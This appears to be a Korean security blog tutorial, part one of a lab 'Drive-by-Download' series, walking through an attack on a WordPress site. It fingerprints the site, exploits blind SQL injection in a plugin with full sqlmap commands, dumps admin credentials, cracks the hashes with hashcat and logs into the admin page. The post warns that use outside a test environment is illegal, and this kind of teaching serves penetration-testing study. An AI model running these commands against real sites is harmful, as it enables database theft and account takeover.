가상으로 구축된 환경 외에 시도하는 것은 엄연히 불법입니다. 모든 책임은 개개인에게 있으니 조심해주세요
안녕하세요 Retain0입니다. 이번 시간에 배워볼 것은 APT 공격의 유형 중 하나인 " Drive By Download " 기법을 실습해보도록 하겠습니다.
APT 란
- " Advanced Persistent Threats "으로 지능형 지속 위협으로 과거나 현재까지 아주 위험하고 널리 사용되는 유형 중 하나입니다. 대표적으로 과거 싸이월드, 네이버, 인터파크, 그리고 평창동계올림픽 수천 명의 고객 개인 정보와 서비스를 중단시키는 사건이 있었습니다. 한창 이슈가 되었어도 왜 APT 유형의 공격들을 쉽게 탐지하지도 막기도 힘들까요??
첫째로 APT는 특정 기업이나 불특정 다수를 대상으로 지정하고 침투하는 데까지 아주 다양한 공격 기법들이 복합적으로 들어갑니다. OWASP TOP 10에 들어있는 빈도수가 높은 공격들, 아직 취약점이 발표되지 않은 Zero-Day 형태, 도 사용되기에 그만큼 고도의 기술들이 합쳐진 조화라고 보실 수 있습니다. 그러기에 한 파트에 대한 대응 방안을 구축 해놓는다고 APT 유형의 공격들을 막을 수 있는 것이 아닙니다.
둘째로 APT의 성공률이 높은 이유는 " 자동화 "입니다. 현재는 AI를 활용한 다양한 머신러닝, 딥러닝을 활용하여 악의적인 탐지를 사전에 차단시키고 가용성(Availability)의 침해를 막기 위해 백업 구축까지 하는 기업도 있을 겁니다. 하지만 과거나 아직 설립된 지 얼마 안 된 기업들은 대부분 악성코드에 대한 분석을 " 수동적인 " 형태로 하고 있는 곳도 많기 때문입니다. 즉 아무리 머리가 좋아도 수동적인 것은 자동적을 이길수가 없습니다. 사람은 지치기 마련이고 미세한 허점이 보이는 순간 바로 침투가 됩니다.
셋째로 지속적이지만 아주 " 은밀한 " 형태로 공격이 수행됩니다. 주로 자산 가치가 높은 대상, 기업을 타깃으로 하며 공격 기간은 길게는 몇 개월, 년 단위로 걸릴 수도 있습니다. 공격자는 침투가 성공된 후 다양한 정보를 빼가거나 필요시 다시 침투하기 위해 백도어를 설치하고 나가지만 사용자는 변화를 감지할 수가 없어 침투되었다는 것조차 모르는 경우가 다반사입니다.
Drive By Download 란
- "DBD "라고 부르기도 하며 주로 불특정 다수를 대상으로 공격을 수행합니다. 공격자가 악성코드를 무단으로 액세스하기 위해 사용되는 가장 일반적인 방법입니다. 쉽게 얘기해 " 웹사이트를 방문하는 것만으로도 해당 사용자의 pc는 감염되는 것을 말합니다. " 이를 성공시키기 위해 공격자는 웹 페이지에 침투해 악의적으로 소스코드를 Deface 합니다. 악의적인 javascript 또는 iframes 태그, XSS 다양한 요소가 있습니다.
현재 다양한 포털사이트(유해사이트, 위조 사이트 등)에 심어져 있을 가능성이 있습니다. 빙산의 일각인 대표적인 google.naver.facebook, yahoo 등 제외하고 일반적인 사용자들은 쉽게 접할 수 없는 " 딥웹 "의 경우에도 사용자의 호기심을 이용해 APT 형태의 공격이 매복되어 있을 수도 있으니 의심 가는 사이트는 꼭 보안검사를 통해 접속해야 하거나 IP를 우회해서 접속하시는게 여러모로 맘이 편합니다.
① Drive by Download 시나리오 (1)
타겟이될 wordpress 기반 웹사이트입니다. 침투를 하기 위해 몇 가지 공격 기법이 같이 혼용이 될 겁니다. 하단에 설명이란은 적으면서 할 테니 참고하시면 되겠습니다.
whatweb 대상주소 -v
-v : 대상 버전 정보 도출
(사진 2) 타겟의 주소를 사용하여 " whatweb "이라는 프로그램 즉 도구를 통해 내장되어 있는 웹사이트의 다양한 버전 정보와 종류들을 파악합니다. 워드프레스 버전은 몇 버전인 지 아파치 버전 jquery 등 공격자가 참고할만한 내용들이 보입니다.
wpscan --url 대상주소
--url : 대상주소
(사진 3) 전 시간에 수행했던 " wpscan "이 다시 등장하였습니다. 이번엔 대상 서비스의 계정 도출이 아닌 설치된 다양한 plugins의 valunability(취약점)를 보겠습니다.
(사진 4) 설치된 plugins 중 version 1.2.3 인 " like-dislike-counter "에 취약점이 도출된 것을 확인 후 " exploitdb " 사이트를 통해 어떤 취약점이 있는지 자세히 확인해보도록 하겠습니다.
※ exploitdb 란
- " 익스플로잇 데이터베이스 "로 전 세계에 널린 다양한 취약점들을 집합해둔 사이트이며 최신 트렌드의 공격 이슈들을 확인할 수 있다.
(사진 5) exploitdb의 search 란에 " like dislike "를 서칭해본 결과 해당 버전에서 OWASTP TOP 10 중 A1 인 " SQL Injection " 이슈가 있다는 것을 확인할 수 있습니다.
※ OWASP TOP 10 이란
- " open web application security project "의 약자로 전 세계적으로 많은 빈도수를 차지하는 공격 위험들을 선정해둔 것이며 해당 TOP 10 안에 있는 목록들은 파급효과가 크기 때문에 보안에 관심이 있으신 분들은 숙지해두시고 계시기 바랍니다.
A1 : Injection(인젝션)
A2 : Broken Authentication(취약한 인증)
A3 : senstive Data Exposure(민감 데이터 노출)
A4 : xml external entities(xxe)
A5 : Broken Access Control(취약한 접근통제)
A6 : Security Misconfiguration(잘못된 보안 설정)
A7 : Cross-site Scripting(xss)
A8 : Insecure Deserialization(안전하지 않은 역 직렬화)
A9 : using components with known vulnerabilities(알려진 취약점이 있는 구성요소)
A10 : Insuffcient Logging&Monitoring(불충분한 로 김&모니터링)
※ SQL Injection 이란
- DataBase 와 연동되어 있는 애플리케이션의 입력 값을 조작하여 DBMS가 의도되지 않은 결과를 반환하도록 하는 공격 기법으로 사용자로부터 전송되는 입력 값에 대해 적정성을 검사하지 않기에 생기는 취약점 이러한 공격 기법으로 DB의 내용을 조회할 수 있으며 더 나아가 변조 및 삭제가 가능하며 관리자에 대한 인증 또한 우회가 가능한 위험한 공격이다.
(사진 6) 대상 사이트를 웹 프록시 도구인 " BurpSuit "를 활용하여 전달되는 내용을 캐치 후 입력값을 조작하여 다시 웹 서버에 던져주도록 하겠습니다. 먼저 BurpSuit 를 실행해서 " Intercept is on " 을 눌러 준비를 해둔 후 해당 페이지의 프락시 주소를 loopback 주소인 127.0.0.1에 8080 포트를 열어주시면 클라이언트 즉 공격자 와 웹서버와 통신할 때 중간에 프락시 서버를 거칠 수 있게 될 겁니다.
(사진 7) like 버튼을 누름과 동시에 파라미터 값 등 요청 패킷이 burpsuit에 잡혀있습니다. 하단에 보시면 요청 값 " post_id=1&up_type=like "를 볼 수 있습니다. 필자는 SQL Injection 대응체계를 우회시킬 수 있는 " Blind SQL Injection " 기법을 통해 테스트해보도록 하겠습니다.
※ Blind SQL Injection 이란
- 참, 거짓을 구분할 수 있는 구문을 만들어서 데이터를 보낸다. 참과 거짓의 결과가 틀리다면 해당 Blind SQL Injection 취약점이 존재하는 것으로 구분 짓는다. 숫자형태의 데이터까지 파악할 수 있어서 유용
(사진 8) 먼저 참의 값을 넣어 확인해보도록 하겠습니다.
그럼 이제 거짓 값을 넣어 테스트를 해보도록 하겠습니다.
(사진 10) 참값으로 and 1=1을 확인하였으니 이번에는 거짓 값 and 1=2를 통해 어떤 결과가 나오는지 확인해보도록 하겠습니다.
(사진 11) 참과 거짓 값의 결과가 서로 틀리다는 것을 확인할 수 있습니다. 즉 Blind SQL Injection의 취약점이 도출되었으니 필자는 이러한 취약한 파라미터 값(사진 7의 상단 POST 내용 부분) 을 통해 해당 서비스의 DB를 공격하도록 하겠습니다.
sqlmap -u "http://대상주소/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id --level=3 --dbs
-u : 대상 주소 및 취약 파라미터 값
--data : POST 방식 입력값 점검
level=3 : 테스트 레벨 3(기본 1)
--dbs : DB 열람
(사진 12) -u : 대상 주소 및 취약 파라미터 값 / --data : POST 방식 입력값 점검 / level=3 : 테스트 레벨 3(기본 1) / --dbs : DB 열람
(사진 12) SQL Injection의 점검 및 테스트를 위해 만들어진 " sqlmap " 프로그램 통해 해당 서비스의 DB를 열람해보도록 하겠습니다.
※해당 프로그램은 실무에서 사용 시 반드시 해당 서비스 관리자와 사전 협의가 되어있어야 하며 DB가 백업이 된 상태여야 한다. 과도한 Level 을 잡고 실행 시 DB의 테이블이 날아갈 수도 있는 상황을 대비하기 위함
(사진 13) 해당 웹 서버의 DB가 도출된 것을 확인할 수가 있습니다. 공격자는 여기서 멈추지 않고 DB의 내용 깊숙하게 파고 들어가 관리자의 계정까지 도출 시키려고 합니다.
sqlmap -u "http://대상주소/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id -D"wordpress" --tables
-D" " : DB 명
--tables : 테이블명 조회
(사진 14) : 해당 DB 명은 알아냈으니 이제 DB 안에 있는 각각의 테이블 병을 뽑아내도록 하겠습니다.
(사진 15) 도출된 여러 테이블 중 공격자는 users 테이블을 확인하려고 합니다.
sqlmap -u "http://대상주소/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id -D"wordpress" -T"wp_users" --columns
-T" " : Table 명
--columns : 칼럼 값 도출
(사진 16) wp_users라는 테이블 안에 칼럼 값을 확인할수 있습니다.
(사진 17) 공격자는 도출된 칼럼 값들 안에 있는 login 과 pass 값을 추출함으로써 해당 서비스에 접근할 수 있는 계정을 확인합니다.
sqlmap -u "http://대상주소/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id -D"wordpress" -T"wp_users" -C"user_login,user_pass" --dump
-C" " : columns 값
--dump : 추출
(사진 18) 최종적으로 계정을 추출 시켜보도록 하겠습니다.
(사진 19) 관리자 계정으로 admin 을 사용하는 것을 확인할 수 있지만 패스워드는 단방향 성인 " 해시값 "으로 암호화가 되어 있습니다. 공격자는 어떤 종류의 해시값을 사용했는지 알아내고 디코딩을 해서 암호화 이전의 값을 알아내겠습니다.
(사진 20) kali에 내장되어 있는 hash-identifier를 통해 어떤 종류의 해시값을 사용 중인지 알아내겠습니다.
※구글링을 통해 웹사이트 내에서도 확인이 가능함
(사진 21) 해시의 종류를 알아내었으니 이제 Crack 을 할 것입니다. decrypt 해주는 여러 사이트와 프로그램이 있지만 필자는 세계에서 가장 빠른 Cracking 툴 " hashcat " 을 통해 패스워드를 알아내도록 하겠습니다.
※ hash-identicier online에서도 크랙 할 수 있지만 하루 정도 기다려야 함
(사진 22) 해당 검정 박스를 윈도 환경에서 다운로드해 쓸 수 있습니다.
(사진 23) hashcat 을 로컬 드라이버에 설치 후 Crack에 쓰일 " 사전 파일(retain0) " 을 두도록 하겠습니다.
※사전 파일은 Crunch 프로그램을 통해 생성했습니다. 생성 법은 " Hydra " 포스팅 내용 확인해보시면 되겠습니다.
(사진 24) 위에(사진 19) 도출되었던 해시값을 복사해서 passwd.txt를 생성 후 복붙 해주시면 됩니다.
hashcat64.exe -a 0 -m 400 -d 1 -o 결과파일명지정 / 해시값파일 / 사전파일리스트 --show
-a :패스워드 공격 모드
-m : 해시 유형
-d :쉼표로 구분하여 사용할 openCL 장치
-o : 크랙 된 암호화 파일 생성
(사진 25) cmd 명령을 통해 hashcat 을 실행해보도록 하겠습니다.
※에러 문구가 나올 경우 제일 마지막에 --show를 지우고 " --force "를 사용해보면 됨
(사진 26) 조금 기다려보면 프롬프트 표시가 첨으로 돌아왔다면 끝난 것입니다. 좀 전에 명령어 " -o crack.txt "으로 아웃풋 될 파일을 따로 지정해뒀으니 폴더로 다시 돌아가 해독된 해시값을 보도록 합시다.
(사진 27) 생성된 crack.txt를 확인해본 결과 식별할 수 있는 패스워드 값이 도출되었습니다. 이제 관리자 계정도 알아냈으니 공격자는 " 관리자 페이지 "를 찾아내어 로그인을 해야 합니다.
공격자는 해당 웹 서비스의 관리자 페이지를 찾기 위해 " Dirbuster "라는 프로그램을 통해 찾아보도록 하겠습니다.
(사진 28) dirbuster는
- OWASP에서 만든 " web Fuzzing " 도구이며 JAVA 언어로 제작되어 있습니다. 해당 검정 박스 안에 대상 서비스의 주소를 입력하고 스레드 설정, 문자열 파일 경로를 지정하고 START를 누르면 끝입니다. dirbuster는 Brute Force 방식으로 하나씩 대입해보며 숨겨진 디렉터리, 파일 정보를 찾아내줌으로써 대상 웹 구조를 쉽게 파악할 수 있게 해줍니다. (HTTP 403 코드가 뜨면 페이지는 존재하나 숨겨둔 것, 암호화해 둔 것)
※실제 서비스하는 환경이 아니니 스레드를 500으로 지정했다. 만일 실제 서비스를 대상으로 하거나 고객사를 대상으로 사용해야 한다면 스레드를 반 이하로 낮추고 진행할 것
(사진 29) 도출된 결과를 보면 wp-login.php라는 관리자 페이지를 찾을 수 있는 것을 확인할 수 있다.(HTTP 200 은 정상 응답 코드)
(사진 30) 관리자 페이지에 접속하였으니 로그인도 해보도록 하겠습니다.
(사진 31) 관리자의 계정에 명으로 접속한 것을 확인할 수 있습니다.
내용이 너무 길어지는 관계로 일단 여기까지만 하도록 하고 추후 (2) 번으로 다시 포스팅하도록 하겠습니다.
다시 한번 설명해드리자면 Drive by Download의 경우 불특정 다수를 대상으로 수행되는 APT 공격 중 하나이며. 이외에도
(1) Spear Fishing
(2) Watering Hole
이라는 기법들도 있습니다. 위의 2가지 기법들은 좀 더 고도화된 집단들이 주로 사용하며 " 특정 타깃 " 을 대상으로 사용한다고 볼 수 있습니다.
(1) Spear Fishing 은 주로 APT 초기 형태에 실행되며 "사회공학적 기법" 이 동반되곤 합니다. 악성 행위를 할 수 있는 " 메일 " 을 특정 집단 다수에게 보내어 사전 정보를 습득하거나 변조된 URL로 이동시켜 개인 정보를 입력하도록 유도시켜 탈취하곤 합니다.
(2) Watering Hole 은 마치 악어가 먹잇감을 잡기 위해 물웅덩이에서 조용히 매복하고 있다가 습격하는 것처럼 특정 집단의 구성원들이 주로 방문하는 사이트를 감염시켜서 구성원들을 감염시키곤 합니다. Watering Hole 이 Spear Fishing 보다 확률이 더 높은 것은 집단 구성원들이 신뢰했던 사이트를 기반으로 매복하는 것이기 때문입니다.
다음 시간에 연계해서 진행하고 대응 방안에 대해 이야기해보도록 하겠습니다. 감사합니다.
install or Refer to
https://portswigger.net/burp/communitydownload
https://www.darknet.org.uk/2011/11/dirbuster-brute-force-directories-files-names/
'IT Security > HACKABLE' 카테고리의 다른 글
[Two Greedy] Drive-by-Download 시나리오(2) (0) | 2020.04.15 |
---|---|
[Two Greedy] Veil-Framework & Metasploit 활용법 (0) | 2020.04.12 |
[Two Greedy] theharvester 를 활용한 Email 수집 (0) | 2020.04.11 |
[Two Greedy] Web Scanning Using Nikto (0) | 2020.04.10 |
[Two Greedy] Wordpress Attack Using WPscan (0) | 2020.04.09 |